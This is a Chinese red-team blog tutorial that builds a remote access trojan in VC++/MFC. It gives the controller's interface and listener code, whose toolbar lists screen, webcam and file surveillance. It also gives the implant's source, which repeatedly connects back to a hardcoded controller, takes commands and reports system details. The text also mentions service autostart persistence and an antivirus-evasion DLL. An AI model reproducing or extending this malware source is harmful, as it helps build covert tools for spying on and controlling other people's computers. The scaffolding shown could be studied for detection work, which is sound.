红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写

红队专题

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。

私信联系

[1]远控介绍及界面编写

1.远程控制软件演示及教程简要说明

主程序

可执行程序 服务端生成器

主机上线

服务端程序 和 服务

文件管理

CMD

进程

服务自启动

 服务启动  ---- 注销 模式 可以自动启动服务 上线 
  • 编写前 功能了解分析
  • 界面 运行模式

主程序

主对话框
操作菜单
列表框

配置信息

多线程操作

非模式对话框


2.环境:

操作系统:Windows 7

编译器:VS2008

3.界面编程

https://www.cctry.com/

新建项目



使用静态库MFC

为了在没有 安装运行库的 主机上使用

删除默认控件

设置项目


去除兼容问题

调出系统菜单

最大化最小化

可拖拽border

添加资源 菜单

client.rc 中添加资源

文件 退出

选项 配置

关于 关于我们

关联菜单 ID

导入资源

添加菜单 信息

ruby 复制代码
相关代码
.h  头文件中创建

private:
	CToolBar m_toolbar;    //工具条类
	CImageList m_imagelist;    // 图像列表
	CStatusBar m_statusbar;
	CBitmap m_subbmp[6];
	CImageList m_mainicon;
	void UpdateMain(int port);

	UINT m_port;
	UINT m_max;
	UINT m_Sound;



public:
    CListCtrl m_list;
  	

菜单项 + 图标

菜单栏

列表框 + 图标

cpp中添加 UpdateMain代码

五个重载方法

第一个 注意 参数 无符号整形

查询 MSDN

· 位图对象

· 颜色信息

宏 定义 id号 对应 资源

rc的代码
· id 号

· 资源类型

· 具体路径

ruby 复制代码
void 你的Dlg::UpdateMain(int port)
{

// 创建图像列表
    m_imagelist.Create(32,32,ILC_COLOR24|ILC_MASK,1,1);
    CBitmap bmp;
//  创建位图对象
    for(int i=0;i<8;i++)
    {
    // 通过 id  依次导入位图 
        bmp.LoadBitmapW(IDB_BITMAP1+i);
    // 将真彩色255 位图  添加进 image列表
        m_imagelist.Add(&bmp,RGB(255,255,255));
        bmp.DeleteObject();
        //  释放资源
    }


/*
    m_bmp[0].LoadBitmap(IDB_MENU_EXIT);
    m_bmp[1].LoadBitmap(IDB_MENU_SETTING);
    m_bmp[2].LoadBitmap(IDB_MENU_ABOUT);

    m_subbmp[0].LoadBitmapW(IDB_MENU_AGENT);
    m_subbmp[1].LoadBitmapW(IDB_MENU_SHUTDOWN);
    m_subbmp[2].LoadBitmapW(IDB_MENU_RESTART);
    m_subbmp[3].LoadBitmapW(IDB_MENU_UPDATE);
    m_subbmp[4].LoadBitmapW(IDB_MENU_HTTP);
    m_subbmp[5].LoadBitmapW(IDB_MENU_RUN);

    GetMenu()->GetSubMenu(0)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[0], &m_bmp[0]);
    GetMenu()->GetSubMenu(1)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[1], &m_bmp[1]);
    GetMenu()->GetSubMenu(2)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[2], &m_bmp[2]);
*/


//  工具栏的设定
//  包含九个元素[按钮ID]的  无符号整形  常量 数组     0为竖线
    const UINT t[9] = {1001,1002,1003,1004,1005,1006,0,1007,1008};
    // 用于单击事件的触发

//  指向this 指针  主对话框
    m_toolbar.CreateEx(this);
//  id数组  数量
    m_toolbar.SetButtons(t,9);
    //  按钮  图标 设置大小
    m_toolbar.SetSizes(CSize(60,56),CSize(24,24));
    m_toolbar.SetButtonText(0,_T("文件管理"));
    m_toolbar.SetButtonText(1,_T("屏幕监控"));
    m_toolbar.SetButtonText(2,_T("超级终端"));
    m_toolbar.SetButtonText(3,_T("进程管理"));
    m_toolbar.SetButtonText(4,_T("视频监控"));
    m_toolbar.SetButtonText(5,_T("卸载主机"));
    m_toolbar.SetButtonText(7,_T("程序设置"));
    m_toolbar.SetButtonText(8,_T("关于软件"));
    //关联  imagelist   GetToolBarCtrl()获取指针   设置图像列表
    m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);
    
    


//  状态栏设置

    BOOL hbar = m_statusbar.Create(this);
    UINT b[2]={1009,1010};
    hbar = m_statusbar.SetIndicators(b,2);
    // 关联状态栏    id   按钮id   风格   长度
    m_statusbar.SetPaneInfo(0,b[0],SBPS_NORMAL,400);
    m_statusbar.SetPaneInfo(1,b[1],SBPS_NORMAL,180);
    CString ListemPort;
    ListemPort.Format(_T("监听端口:%d"),port);
    m_statusbar.SetPaneText(0,ListemPort);
    m_statusbar.SetPaneText(1,_T("在线主机:0 台"));
    // 重设  工具条 
    RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);

/*
    m_mainicon.Create(16,16,ILC_COLOR24|ILC_MASK,1,0);
    m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_USER)));
    m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_CAM)));
    m_list.SetImageList(&m_mainicon,LVSIL_SMALL);
    */


//  重新 设置列表框  拓展风格    整行选中 报表  复选框
    m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES|LVS_EX_CHECKBOXES);
    // 插入条目
    m_list.InsertColumn(0,_T("地理位置"),LVCFMT_LEFT,160);
    m_list.InsertColumn(1,_T("IP地址"),LVCFMT_LEFT,110);
    m_list.InsertColumn(2,_T("操作系统"),LVCFMT_LEFT,90);
    m_list.InsertColumn(3,_T("代理状态"),LVCFMT_LEFT,60);
    m_list.InsertColumn(4,_T("服务端版本号"),LVCFMT_LEFT,100);

    GetClientRect(&m_rect);
}


有些东西需要注释掉

添加列表框

程序框最大化

留出 工具栏菜单栏状态栏地方

列表栏View 改成报表


添加控件变量

注意update函数

主函数初始化端口


类视图重载函数


c++ 复制代码
BOOL CExecN0vvDlg::PreTranslateMessage(MSG* pMsg)
{
	 
    // TODO: 在此添加专用代码和/或调用基类
    if(pMsg->message==WM_KEYDOWN)
    {
        int nVirtKey = (int)pMsg->wParam;
        if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE)
        {
            return TRUE;
        }
    }
	return CDialog::PreTranslateMessage(pMsg);
}

判断 传入的无符号整形的参数 是否为 WM_KEYDOWN

按键消息

等于回车 或者 ESC 截断

退出程序

java 复制代码
void CExecN0vvDlg::OnClose()
{
    // TODO: 在此添加消息处理程序代码和/或调用默认值
    int t = MessageBoxW(_T("确定要退出程序吗?"),_T("提示"),MB_YESNO|MB_ICONINFORMATION);
    if(t == IDYES)
    {
        //CloseAllSocket();
        ::closesocket(s);
        m_Mysock.Clean();
    }
    else
    {
        return;
    }
    CDialog::OnClose();
}


 
java 复制代码
private:
	CToolBar m_toolbar;
	CImageList m_imagelist;
	CStatusBar m_statusbar;
	CBitmap m_subbmp[6];
	CImageList m_mainicon;
	void UpdateMain(int port);

	UINT m_port;
	UINT m_max;
	UINT m_Sound;
	CRect m_rect;
	bool InitSocket();
	SOCKET s;
	static DWORD WINAPI OninitSocket(LPVOID self);
	void AddHost(SOCKET sock,SOCKADDR_IN addr);
	void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);

	LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);
    LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);
	void ShowOnLine();


	CMysocket m_Mysock;


public:
    CListCtrl m_list;
	virtual BOOL PreTranslateMessage(MSG* pMsg);
	afx_msg void OnSize(UINT nType, int cx, int cy);

	afx_msg void OnClose();
};

[2]界面编写及上线

1.课前回顾

#pragma comment(lib,"ws2_32.lib")

unicode编码 字符串

_T 宏

多字节编码 ----字符集 知识点

项目属性


2.界面编程(下)

对话框

对话框资源

c++ 复制代码
头文件 添加
private:
	CToolBar m_toolbar;
	CImageList m_imagelist;
	CStatusBar m_statusbar;
	CBitmap m_subbmp[6];
	CImageList m_mainicon;
	void UpdateMain(int port);

	UINT m_port;
	UINT m_max;
	UINT m_Sound;
	CRect m_rect;   //  矩形变量


重载消息函数

查看声明

c++ 复制代码
 

Dlgcpp里


//  当客户端大小发生改变   计算差值  客户端内部控件 同步改变
void CExecN0vvDlg::OnSize(UINT nType, int cx, int cy)
{

//  基类 对对话框改变
	 CDialog::OnSize(nType, cx, cy);
// 类型等于最小化的 宏
    if(nType == SIZE_MINIMIZED)
    {
        return;
    }
    // TODO: 在此处添加消息处理程序代码
    CWnd *pWnd;  // 窗口类指针
    pWnd = GetDlgItem(IDC_LIST1);     //获取控件句柄  条目id

// 控件大小操作
    if(pWnd)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
    {
        CRect rect,rect_l;   //获取控件变化前大小  eg  50x50
        GetClientRect(&rect_l);   // 客户区  控件大小
        pWnd->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.right = cx;  // 把控件大小变换

		//rect_l 变化前   
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd->MoveWindow(rect);//设置控件大小
        
        //  重设状态栏  置底
        RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);
    }
    /*
    else
    {
        delete pWnd;
    }
    */
    GetClientRect(&m_rect);
    //  还是记录初始值

	 
}

更改对话框同步更改

初始化时候调用了 updatemain

初始化程序界面

获取客户端程序客户区 界面大小

存放在 m_rect

3.服务端上线,下线,以及客户端的资源销毁(上)

列表控件

常规对应 socket指针

我们对应一个类指针

启动监听线程

不会发生阻塞状态

添加socket 变量

添加 socket 消息

头文件定义 InitSocket

c++ 复制代码
Dlgcpp 加入 


bool C你的Dlg::InitSocket() //初始化SOCKET
{
    WSADATA WSAData;  // 初始化
	WSAStartup(MAKEWORD(2,2), &WSAData);
	SOCKADDR_IN saddr;  //  声明结构体


	// 结构体操作 初始化 
    s=::socket(AF_INET,SOCK_STREAM,0);
	if(s==SOCKET_ERROR)
	{
		MessageBox(_T("创建连接失败"),_T("提示"),MB_OK|MB_ICONWARNING);
        return false;
	}
	
// 结构体赋值
	saddr.sin_family=AF_INET;
	saddr.sin_addr.S_un.S_addr=INADDR_ANY;
	saddr.sin_port=htons(m_port);
	
	int nRet;
    nRet=::bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
	if(nRet == SOCKET_ERROR)
	{
		MessageBox(_T("绑定端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);
        return false;
	}


// 最大上线主机数量  m_max   Wint类型
	nRet=listen(s,m_max);
	if(nRet == SOCKET_ERROR)
	{
		MessageBox(_T("监听端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);
        return false;
	}

	while(1)
	{
		SOCKET SerSock;
		SOCKADDR_IN Seraddr;  // 结构体
		int Seraddrsize=sizeof(Seraddr);
		
		// 接受连接
		SerSock = accept(s,(sockaddr *)&Seraddr,&Seraddrsize);
		if (SerSock == INVALID_SOCKET)
        {
			continue;
        }
        //  添加主机
        AddHost(SerSock,Seraddr);
	}
    return true;
}

syc系列 winSocket I/O模型

填补config信息

创建线程函数 并运行

为了适配多线程

防止上面的循环死锁 堵塞

所以把初始化操作封装到一个函数内

c++ 复制代码
Dlgcpp 



//  空指针  传递了一个 当前类的 this指针
DWORD WINAPI C你的Dlg::OninitSocket(LPVOID self) //初始化Socket线程
{

// 强制转换
    C你的Dlg* t = (C你的Dlg*)self;
    t->InitSocket();
    return 0;
}





头文件静态声明


static DWORD WINAPI OninitSocket(LPVOID self);

关闭句柄

添加Addhost

c++ 复制代码
void C你的Dlg::AddHost(SOCKET sock,SOCKADDR_IN addr) //添加主机函数
{
    GetNewItemData(sock,addr);
    //  每一个主机节点都是一个类的指针  新申请一个类指针
    return;
}



头文件声明
void AddHost(SOCKET sock,SOCKADDR_IN addr);

添加 getItemData

c++ 复制代码
void C你的Dlg::GetNewItemData(SOCKET sock,SOCKADDR_IN addr) //获取新的条目数据
{


//   条目信息类  指针  并判断 id是否重复
    CItemData *item;
    int id;  //声明新的id
    int Count = m_list.GetItemCount();
    if(Count == 0)
    {
        id = 0;
    }
    else
    {
        id = 0;
        for(int i=0;i<Count;i++)
        {
            item = (CItemData*)m_list.GetItemData(i);
            if(item->m_id == id)  // 判断是否为这个 id
            {
                i = 0;
                id = id + 1;
                continue;
            }
        }
    }
    item = NULL;
    item = new CItemData(id,sock,&addr,this->m_hWnd);
    // 声明一个 条目类
    item->Run();
    // 最后调用了 run这个函数
}





头文件声明
void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);

创建列表节点类


头文件中调用这个类

ItemData编写

构造函数

c++ 复制代码
cpp 方法   条目信息

CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
    this->m_id = id;  // 上线主机id号  删除操作
    this->m_sock = sock;   // 消息传递   SOCKADDR_IN *addr  对方ip获取操作
    this->m_hWnd = m_hWnd;  //  获取父类指针
    char *csIP = inet_ntoa(addr->sin_addr);  // inet_ntoa 获取ip addr结构体
    m_IP.Format(_T("%s"),_T("127.0.0.1"));
    m_Address.Format(_T("未知"));
    if(m_Address.IsEmpty())  // 地理位置信息
    {
        m_Address.Format(_T("未知"));
    } 
}

 //m_IP.Format(_T("%s"),m_str.CharToCString(csIP));
 //m_Address = QQ.IP2Add(m_IP);
 
 


头文件

#pragma once

class CItemData
{
public:
	CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd);
	~CItemData(void);
	UINT m_id;
	void Run();
	SOCKET GetSocket();
    CString m_IP;
    CString m_Address;
    CString m_OS;
    CString m_Ver;  // 操作系统版本
    bool Cam;   //  摄像头
		

// 私有成员变量
private: 


	SOCKET m_sock; 
	HWND m_hWnd;
	static DWORD WINAPI OnListen(LPVOID lp);
	void OnBeginListen();
};

 

类成员监听线程

c++ 复制代码
DWORD WINAPI CItemData::OnListen(LPVOID lp)
{
    CItemData* t = (CItemData*)lp;
    t->OnBeginListen();  // 调用监听线程
    return 0;
}

运行函数

用多线程手法来运行 监听线程

c++ 复制代码
void CItemData::Run()
{
    ::CloseHandle(CreateThread(0,0,OnListen,(LPVOID)this,0,0));
}

监听线程

监听远程主机信息 操作

发送信息等等

c++ 复制代码
void CItemData::OnBeginListen() //等待完善
{
}

[3]客户端与服务端连接

OnBeginListen 函数

远程主机节点信息条目

前情回顾

主函数->初始化->创建线程->while循环监听->主机上线->itemrun->创建远程信息监听线程

(获取操作系统,磁盘信息)

java 复制代码
void CItemData::OnBeginListen() //等待完善
{
	    int nRet;  // socket 是否发送成功
    MSGINFO msg;     // 接受远程主机发送过来的信息 的结构体   双向
    memset(&msg,0,sizeof(MSGINFO));  // 初始化 重置0
    msg.Msg_id = SYSINFO;
    nRet = m_Mysocket.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));  // 操作类
    // send 成员方法  发送连接
    if(nRet == SOCKET_ERROR)
    {
        MessageBox(_T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);
    }
    memset(&msg,0,sizeof(MSGINFO));
    while(true)   // 不断获取远程客户端发送来的信息
    {
    //  结构体格式发送            socket值   缓存区字符(指针强制转换)     大小
        nRet = m_Mysocket.RecvCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
        if(nRet == 0)
        {
			if(WSAGetLastError()==WSAEWOULDBLOCK)  //WSAEWOULDBLOCK的错误,则表示要发生阻塞了
			{
				Sleep(50);
				continue;   //进行下次循环
			}
			else
			{
                //接收消息失败,发送下线通知
                ::closesocket(m_sock);
                ::SendMessageW(this->m_hWnd,ID_OFFLINE,this->m_id,0);  //  发送给主窗口
                // itemdata 的成员  m_hWnd  获取 类的指针
                //       窗体  消息  高字节  低字节   下线主机的id值   0
				return;
			}
		}
        else
        {
            switch(msg.Msg_id)   //  消息的判断
            {
            case SYSINFO:  // 获取主机信息操作
                {  // 上线处理
                    SYSTEMINFO systeminfo;
                    // 初始化
                    memset(&systeminfo,0,sizeof(SYSTEMINFO));
                    memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));
                    GetSysVer(systeminfo);
                    ::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);
                }
                break;
             
            
            }
        }
    }
}

远控软件 的 消息传递 - 结构体

消息 类别id、内容

java 复制代码
typedef struct tagMSGINFO  
{
    int Msg_id;
    BYTE context[1024*5];
}MSGINFO;



#define SYSINFO  0x01

Common头文件新建项

结构体宏定义

java 复制代码
#pragma once
#include "stdafx.h"
#define SYSINFO  0x01


//  两个消息  上线  下线信息
#define ID_ONLINE WM_USER+1  
#define ID_OFFLINE WM_USER+2

typedef struct tagMSGINFO //传输消息结构体
{
    int Msg_id;
    BYTE context[1024*5];
}MSGINFO;

typedef struct tagSYSTEMINFO //上线信息
{
    int os;
    bool Cam; //摄像头
    double ver;
}SYSTEMINFO;

m_Mysocket C++类的编写

添加C++类

头文件

java 复制代码
public:
    CMySocket(void);
    ~CMySocket(void);
    void Clean();
    int RecvCommand(SOCKET socket,char* buf,int bytes);
    int SendCommand(SOCKET socket,const char* buf,int bytes);
};

源文件

java 复制代码
int CMySocket::SendCommand(SOCKET socket,const char* buf,int bytes)
{

// char 的指针 
    const char *b = buf;
	while(bytes > 0)    // 保证完全发送
	{ 
		int r = send(socket,b,bytes,0);   // 用api发送
		if(r < 0)   // 发送出错
		{ 
			return r; 
		} 
		else if(r == 0)  // 成功
		{
			break;
		} 
		bytes -= r; 
		b += r; 
	} 
	return b - (char*)buf;
}

int CMySocket::RecvCommand(SOCKET socket,char* buf,int bytes)
{
    char *b = (char*)buf;
    while(bytes > 0)
    {
        int r = recv(socket,b,bytes,0);
        if(r < 0)
        {
            return 0;
        }
        else if(r == 0)
        {
            break;
        }
        bytes = bytes - r;
        b = b + r;
    }
    return b - (char*)buf;
}

void CMySocket::Clean()
{
    ::WSACleanup();   //  销毁 WSA 调用
}

itemData调用

头文件引入

java 复制代码
#include "MySocket.h"
#include "Common.h"

private:
	static DWORD WINAPI OnListen(LPVOID lp);  // 生存周期比较长 静态
	void GetSysVer(SYSTEMINFO sys);
	CMySocket m_Mysocket;   // 引入

源文件引入

java 复制代码
void CItemData::GetSysVer(SYSTEMINFO sys)
{
    this->Cam = sys.Cam;
    this->m_Ver.Format(_T("%0.2lf 测试版"),sys.ver);
    switch(sys.os)
    {
    case 4:
        {
            this->m_OS.Format(_T("Windows 7"));
        }
        break;
    case 3:
        {
            this->m_OS.Format(_T("Windows 2003"));
        }
        break;
    case 2:
        {
            this->m_OS.Format(_T("Windows Vista"));
        }
        break;
    case 1:
        {
            this->m_OS.Format(_T("Windows XP"));
        }
        break;
    case 0:
        {
            this->m_OS.Format(_T("Windows 2000"));
        }
        break;
    default:
        {
            this->m_OS.Format(_T("未知系统版本"));
        }
    }
}

继承

class CItemData : public CDialog

也可以添加类的时候 写上基类

java 复制代码
 MessageBox( _T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);

消息传递函数

将结构体传递到窗体

上线信息

java 复制代码
LRESULT C你的Dlg::OnAddHost(WPARAM wparam,LPARAM lparam) //主机上线消息体
{
    CItemData *t = (CItemData*)wparam;  // 高字节强制转换成类指针
    int i = m_list.GetItemCount();
    m_list.InsertItem(i,t->m_Address,0);
    m_list.SetItemText(i,1,t->m_IP);
    m_list.SetItemText(i,2,t->m_OS);
    m_list.SetItemText(i,3,_T("未开启"));
    m_list.SetItemText(i,4,t->m_Ver);
    m_list.SetItemData(i,(DWORD)t);  //  指针保存
    ShowOnLine();
    if(m_Sound == 1)    // 初始化的值
    {
        PlaySoundW(_T("Sound\\online.wav"),0,SND_FILENAME|SND_ASYNC);
    }
    return 0;
}

下线

java 复制代码
LRESULT C你的Dlg::OnOffLine(WPARAM wparam,LPARAM lparam) //主机下线消息体
{
    CItemData* t;
    for(int i=0;i<m_list.GetItemCount();i++)
    {
        t = (CItemData*)m_list.GetItemData(i);  // 获取类的指针  id 号强转
        if(t->m_id == (int)wparam)   //  比较
        {
            ::closesocket(t->GetSocket());
            delete t;  //  防止资源泄漏
            m_list.DeleteItem(i);  
        }
    }
    ShowOnLine();     
    if(m_Sound == 1)
    {
        PlaySoundW(_T("Sound\\offline.wav"),0,SND_FILENAME|SND_ASYNC);
    }
    return 0;
}

使用消息宏

java 复制代码
    //主机消息
    ON_MESSAGE(ID_ONLINE,OnAddHost)
    ON_MESSAGE(ID_OFFLINE,OnOffLine)

声明消息处理函数

头文件中

java 复制代码
private:
   
    LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);
    LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);  // 长指针
    void ShowOnLine();

ShowOnLine()

更新底部状态栏的数量

java 复制代码
void  C你的Dlg::ShowOnLine() //设置在线主机
{
    int c=m_list.GetItemCount();
    CString online;
    TCHAR* szText;
    online.Format(_T("在线主机:%d 台"),c);
    szText = online.GetBuffer(online.GetLength());
    // 状态栏类   重设消息值  
    ::SendMessageW(m_statusbar, SB_SETTEXTW, (WPARAM)1, (LPARAM)szText);
    online.ReleaseBuffer();
    //  释放缓冲区
}

GetSocket()

java 复制代码
SOCKET CItemData::GetSocket()
{
    return this->m_sock;
}



SOCKET GetSocket();


PlaySoundW

java 复制代码
#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")

[4]客户端与服务端连接

服务端编写

新建工程


server函数

java 复制代码
// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


void Server();

void Server()
{
    CThreadMain Thread_Main;  // 主线程类  对象
    Thread_Main.GetInfo(); //获取配置信息
    /*if(Auto[1] == '1')
    {
        wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);
    }*/
  // 增加自启动  服务名
    while(true)
    {
        if(Thread_Main.RunFlag == false)
        {
            break;
        }
        SOCKET sock;
        sock = Thread_Main.Run();
        Thread_Main.Command(sock);
    }
}

int _tmain(int argc, _TCHAR* argv[])
{
	Server();
	return 0;
}

创建主线程类

获取配置信息

java 复制代码
 void CThreadMain::GetInfo()
{
    int Port = atoi(czPort);
    this->Time = atoi(czTime);
    this->SetupDir = atoi(czSetupDir);
    this->AutoFlag = atoi(czAuto);
}


用来生成配置文件

运行

java 复制代码
 
SOCKET CThreadMain::Run()
{
    SOCKET sock;
    while(true)
    {
        sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ip
        if(sock == NULL)
        {
            Sleep(this->Time * 1000);  //  等待60s
            printf("Sleep\n");
            continue;
        }
        else
        {
            break;
        }
    }
    return sock; 

}

command 命令

java 复制代码
void CThreadMain::Command(SOCKET Sock)
{
    MSGINFO_S msg;
    m_Socket = Sock;
    while(1)
    {
        if(this->RunFlag == false)  // 程序是否可以运行
        {
            break;
        }
        memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空
        if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接
        {
            break;
        }
        ExecCommand(msg,Sock);  // 执行命令
    }
    return;
}


void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{
    switch(msg.Msg_id)
        {
        case SYSINFO:
            {
                printf("GetSystemInfo\n");
                m_sys.SendSysinfo(l_Socket);
            }
            break;
        default:
            {
                printf("UnKnow Command\n");
                return;
            }
        }
}

头文件里创建引用

java 复制代码
#pragma once

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();


private:
	
	SOCKET Run();
	void Command(SOCKET Sock);
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中

头文件调用 stdafx.h

#pragma comment(lib,"ws2_32.lib")

#pragma comment(lib,"User32.lib")

#pragma comment(lib,"Advapi32.lib")

startsocket 开始监听 类函数

添加类
StartSocket

链接远程ip地址

java 复制代码
SOCKET CMySocket::StartSocket(char Address[160])
{
    WSADATA data;
    WORD w=MAKEWORD(2,2);
    ::WSAStartup(w,&data);
    SOCKET s;
    s=::socket(AF_INET,SOCK_STREAM,0);
    sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(m_port);
    addr.sin_addr.S_un.S_addr = inet_addr(Address);
    if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR)
    {
        printf("Connect Error\n");
        DWORD e = GetLastError();
        printf("LastError:%d\n",e);
        s = NULL;
    }
    else
    {
        printf("Connect Success!\n");
    }
    return s;
}



SOCKET StartSocket(char Address[160])
mysend/myrecv
java 复制代码
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{
	const char *b = buf;
	while(bytes > 0) 
	{ 
		int r = send(socket,b,bytes,0); 
		if(r < 0) 
		{
            printf("Socket_Error\n");
			return r; 
		} 
		else if(r == 0)
		{
            printf("Socket_Error\n");
			break;
		} 
		bytes -= r; 
		b += r; 
	} 
	return b - (char*)buf; 
}

int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{
    char *b = (char*)buf;
    while(bytes > 0)
    {
        int r = recv(socket,b,bytes,0);
        if(r < 0)
        {
            return 0;
        }
        else if(r == 0)
        {
            break;
        }
        bytes = bytes - r;
        b = b + r;
    }
    return b - (char*)buf;
}
java 复制代码
#pragma once
#include "stdafx.h"

class CMySocket
{
public:
	CMySocket(void);
	~CMySocket(void);
	SOCKET StartSocket(char Address[160]);
	int MySend(SOCKET socket,const char* buf,int bytes);
	int MyRecv(SOCKET socket,char* buf,int bytes);
};

设置



m_sock

java 复制代码
#pragma once

#include "stdafx.h"
#include "MySocket.h"

 

private: 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
};
java 复制代码
void CThreadMain::GetInfo()
{
    int Port = 1474;
    //this->Time = 60;
    //this->SetupDir = 0;
    //this->AutoFlag = 1;
	m_sock.m_port = Port;
	strcpy_s(Address,"127.0.0.1");

}

Common 头文件

头文件 新添加项

MSGINFO_S 结构体

java 复制代码
#pragma once
#include <windows.h>
#define SYSINFO  0x01

typedef struct tagMSGINFO //传输消息结构体
{
    int Msg_id;
    BYTE context[1024*5];
}MSGINFO_S;

typedef struct tagSYSTEMINFO
{
    int os;
    bool Cam; //摄像头
    double ver;
}SYSTEMINFO_S;

ThreadMain头文件

java 复制代码
#pragma once

#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();
	bool RunFlag;
	SOCKET Run();
	void Command(SOCKET Sock);

private:
	 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
	SOCKET m_Socket;
	
};

runflag 启动

java 复制代码
#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")


void Server();


void Server()
{

    CThreadMain Thread_Main;
	Thread_Main.RunFlag = true;
    Thread_Main.GetInfo(); //获取配置信息


[5]客户端与服务端连接

发送连接->进入主线程->返回socket->执行命令

->SYSINFO获取系统信息->发送系统信息

java 复制代码
 switch(msg.Msg_id)
        {
        case SYSINFO:
            {
                printf("GetSystemInfo\n");
                m_sys.SendSysinfo(l_Socket);
            }
            break;
        default:
            {
                printf("UnKnow Command\n");
                return;
            }
        }

封装类

谁使用谁声明谁调用

免杀 kill 类 做成dll文件 分离释放

操作系统SystemInfo类

获取系统信息

java 复制代码
int CSystemInfo::GetSys_ver()
{
    OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};
	GetVersionEx(&osver);
    int t;
	if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0)
	{
		t = 0;
	}
	
	else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1)
	{
		t = 1;
	}
	
    else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
    {
        t = 2;
    }

	else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2)
    {
		t = 3;
    }
	else t = 4;
    return t;
}

发送系统信息

java 复制代码
void CSystemInfo::SendSysinfo(SOCKET sock)
{
    SYSTEMINFO_S system;
    system.os = GetSys_ver();
    system.ver = 0.1; //版本号
    system.Cam = false;
    MSGINFO_S msg;
    memset(&msg,0,sizeof(MSGINFO_S));
    msg.Msg_id = SYSINFO;
    memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));
    m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));
    // 使用了 CMysocket这个类
}

头文件声明

java 复制代码
#pragma once
#include "MySocket.h"
#include "Common.h"

class CSystemInfo
{
public:
	CSystemInfo(void);
	~CSystemInfo(void);
	void SendSysinfo(SOCKET sock);
	CMySocket m_sock;
private:
	int GetSys_ver();
	
};

#define SYSINFO 0x01

// 通用结构体文件

路径

自启动

头文件调用

java 复制代码
 #pragma once

#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();
	bool RunFlag;
	SOCKET Run();
	void Command(SOCKET Sock);

private:
	
	 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
	SOCKET m_Socket;
	int Time;

	CSystemInfo m_sys;
	
};

/DELAYLOAD:OleAcc.dll;

warning LNK4199: 已忽略


相关推荐
hunandede21 分钟前
av_image_get_buffer_size 和 av_image_fill_arrays
c++
寻找码源36 分钟前
【头歌实训:利用kmp算法求子串在主串中不重叠出现的次数】
c语言·数据结构·算法·字符串·kmp
怀澈1222 小时前
高性能服务器模型之Reactor(单线程版本)
linux·服务器·网络·c++
chnming19872 小时前
STL关联式容器之set
开发语言·c++
带多刺的玫瑰2 小时前
Leecode刷题C语言之统计不是特殊数字的数字数量
java·c语言·算法
威桑2 小时前
MinGW 与 MSVC 的区别与联系及相关特性分析
c++·mingw·msvc
熬夜学编程的小王3 小时前
【C++篇】深度解析 C++ List 容器:底层设计与实现揭秘
